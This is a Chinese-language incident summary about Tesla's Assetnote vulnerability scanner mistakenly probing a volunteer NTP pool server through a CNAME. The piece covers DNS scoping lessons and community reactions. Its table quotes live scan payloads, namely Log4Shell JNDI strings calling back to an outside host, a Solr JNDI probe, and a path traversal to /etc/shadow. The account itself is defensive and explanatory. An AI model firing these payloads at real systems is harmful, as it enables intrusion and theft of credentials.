Tesla 的 Assetnote 掃描器錯誤地將志工 NTP 池伺服器列為目標

TL;DR

Tesla 的第三方漏洞掃描器(Assetnote)錯誤地將一個志工 NTP 池伺服器 — pool-ntp.tesla.com — 識別為 Tesla 所有主機,並對該伺服器發送數千次自動化漏洞利用嘗試,包括 Log4Shell、SSRF 和通用 Web 應用程式探測。


實際發生了什麼?

  • 三個 AWS IP*(54.165.75.9635.168.63.2452.44.200.251)對一台同時運行 NTP 池實例的個人伺服器(67.215.249.229)發送大量 HTTP 請求。

  • 請求中包含 HostReferer 標頭,設定為 pool-ntp.tesla.com

  • User-Agent 字串為 Assetnote/1.0.0 (ExposureScan),顯示流量來自 Assetnote 的持續暴露掃描平台(現已行銷為 Searchlight Cyber)。

  • 載荷包含 JNDI 風格的 Log4Shell 向量、SSRF 模板、路徑遍歷嘗試、WordPress 探測以及各種 Web shell 上傳嘗試。

  • 自 2026 年 8 月 21 日以來已記錄超過 50,000 次請求,其中兩天內約有 8,000 次。

伺服器回應了非標準的 HTTP 299 狀態碼和純文字通知說明情況,但掃描活動仍持續進行。


為什麼掃描會針對此伺服器?

錯誤解析的 CNAME 鏈

  1. Tesla 的 DNS 記錄pool-ntp.tesla.com 是指向 pool.ntp.org 的 CNAME。
  2. NTP 池的行為pool.ntp.org 是一個輪詢 DNS 服務,會解析到全球任何志工 NTP 伺服器,包括 OP 的機器。
  3. Assetnote 的資產發現 — Assetnote 好像會枚舉 tesla.com 下的每一個主機名稱,解析它們,並把所有結果 IP 都視為在範圍內的主動掃描目標。
  4. 結果 — 掃描器將 OP 的 IP 加入目標清單,並開始像對 Tesla 所有資產一樣進行探測。

"你的資產發現似乎無意中將 pool-ntp.tesla.com 可解析到的每一個 IP 都納入主動掃描範圍。" — Robin(作者致 Tesla 的電子郵件)


探測流量的技術細節

特性 範例 目的
Log4Shell / Text4Shell GET /?a=%3Cscript src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}> 透過 *.assetnote-callback.com 的回調,偵測易受攻擊的 Log4j/JNDI 解析器。
SSRF 檢測 GET /solr/admin/collections?action=${jndi:ldap://solr.${hostName}.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/a} 強制目標解析 pool-ntp.tesla.com 下的主機名稱,並透過回調域名報告。
路徑遍歷 GET /calendars/admin@lowlevelaccess.jlg.com/calendar/../../../mail/lowlevelaccess.jlg.com/admin/.x-attachment-1-y/new/../../../../../../../../../etc/shadow 透過目錄遍歷載荷嘗試讀取 /etc/shadow
ASP.NET 技巧 GET / (S(x))/b/(S(x))in/System.Web.Mvc.dll,搭配 Host: login.solarcity.com 探測 ASP.NET 路由異常,可能用來觸及 /bin/
隨機第三方主機名稱 servicemcdonalds.comsaferas.comdisneyfineart.com 嵌入查詢字串中 顯示掃描器重複使用包含許多無關主機名稱的大模板庫。
內部網路探測 Referer: http://192.168.178.222/... 表明掃描器也嘗試連接到 RFC 1918 位址,可能是通用「掃描所有可達端口」程序的一部分。

掃描器還對非 HTTP 埠(SSH、Postfix、Dovecot)發送 HTTP 流量,顯示其採用全面的埠掃描方式。


對受害伺服器的影響

  • 無成功入侵 — 所有嘗試均被拒絕;伺服器服務保持完整。
  • 日誌量大 — > 50,000 次請求,消耗頻寬與 CPU 資源用於日誌處理。
  • 操作噪音 — OP 必須新增自訂的 299 回應與警告頁面,讓任何檢視日誌的人能察覺問題。
  • 潛在附帶損害 — 若掃描器擊中同一主機上的易受攻擊服務(例如過時的 WordPress 安裝),可能導致真實入侵。

社群反應與更廣泛背景

  • 其他 NTP 池操作員也看到類似流量 — 名為 Matt Nordhoff 的操作員報告,同一三個 AWS IP 在他自己的池伺服器上也產生了類似的請求量。
  • 漏洞獎勵觀點 — 一位漏洞獎勵研究員指出,*.tesla.com 在 Bugcrowd 上被列為在範圍內,因此自動化代理會探測該域名下解析到的任何 IP。
  • 供應商區域建議 — 多位留言者指出,供應商應使用專用 DNS 區域(例如 ntp.tesla.com)而非 CNAME 指向公開池,符合 NTP 池的供應商指南。
  • 法律與修復建議 — 有人建議直接聯繫 Assetnote、向 AWS 報告,或向 Tesla 的漏洞回報地址提出申訴。也有人認為此類流量「只是網際網路暴露服務的新常態」。

對志工服務操作員的教訓

  1. 避免為品牌擁有子域名使用指向公開池的 CNAME — 使用專用供應商區域,以防止意外納入第三方資產清單。
  2. 監控未預期的 Host/Referer — 掃描器經常重複使用嵌入目標主機名稱的模板;異常值可能表示錯誤歸屬。
  3. 實作速率限制與自訂狀態碼 — OP 的 299 回應是標示可疑流量的聰明方式,且不會破壞合法客戶端。
  4. 與掃描供應商維持聯絡管道 — Assetnote(Searchlight Cyber)通常對錯誤報告有回應;提供包含日誌片段的簡明電子郵件可觸發白名單。
  5. 考慮 IP 層級封鎖作為最後手段 — 封鎖三個 AWS IP 可停止噪音,但也可能阻擋其他客戶的合法掃描。

Tesla(與 Assetnote)應採取什麼行動?

  • 修正 DNS 設定 — 將指向 pool.ntp.org 的 CNAME 改為 Tesla 控制的專用 NTP 端點,或完全移除該子域名。
  • 修復資產發現邏輯 — 確保任何解析到公開池的主機名稱都應排除在客戶的範圍內,除非明確授權。
  • 提供修復管道 — 承認 OP 的報告,更新掃描政策,並向 NTP 池社群發布簡短聲明。
  • 審查其他子域名 — 確認沒有其他 Tesla 擁有的名稱意外指向共享基礎設施,以免造成類似附帶掃描。

總結

Tesla 的第三方掃描器錯誤地將一個志工 NTP 池伺服器視為 Tesla 資產,導致對一個無關愛好者基礎設施發送數千次自動化漏洞利用嘗試。此事件突顯使用公開 CNAME 為企業子域名的風險,並強調在自動化漏洞暴露平台中精確定義資產範圍的重要性。

Sources

相關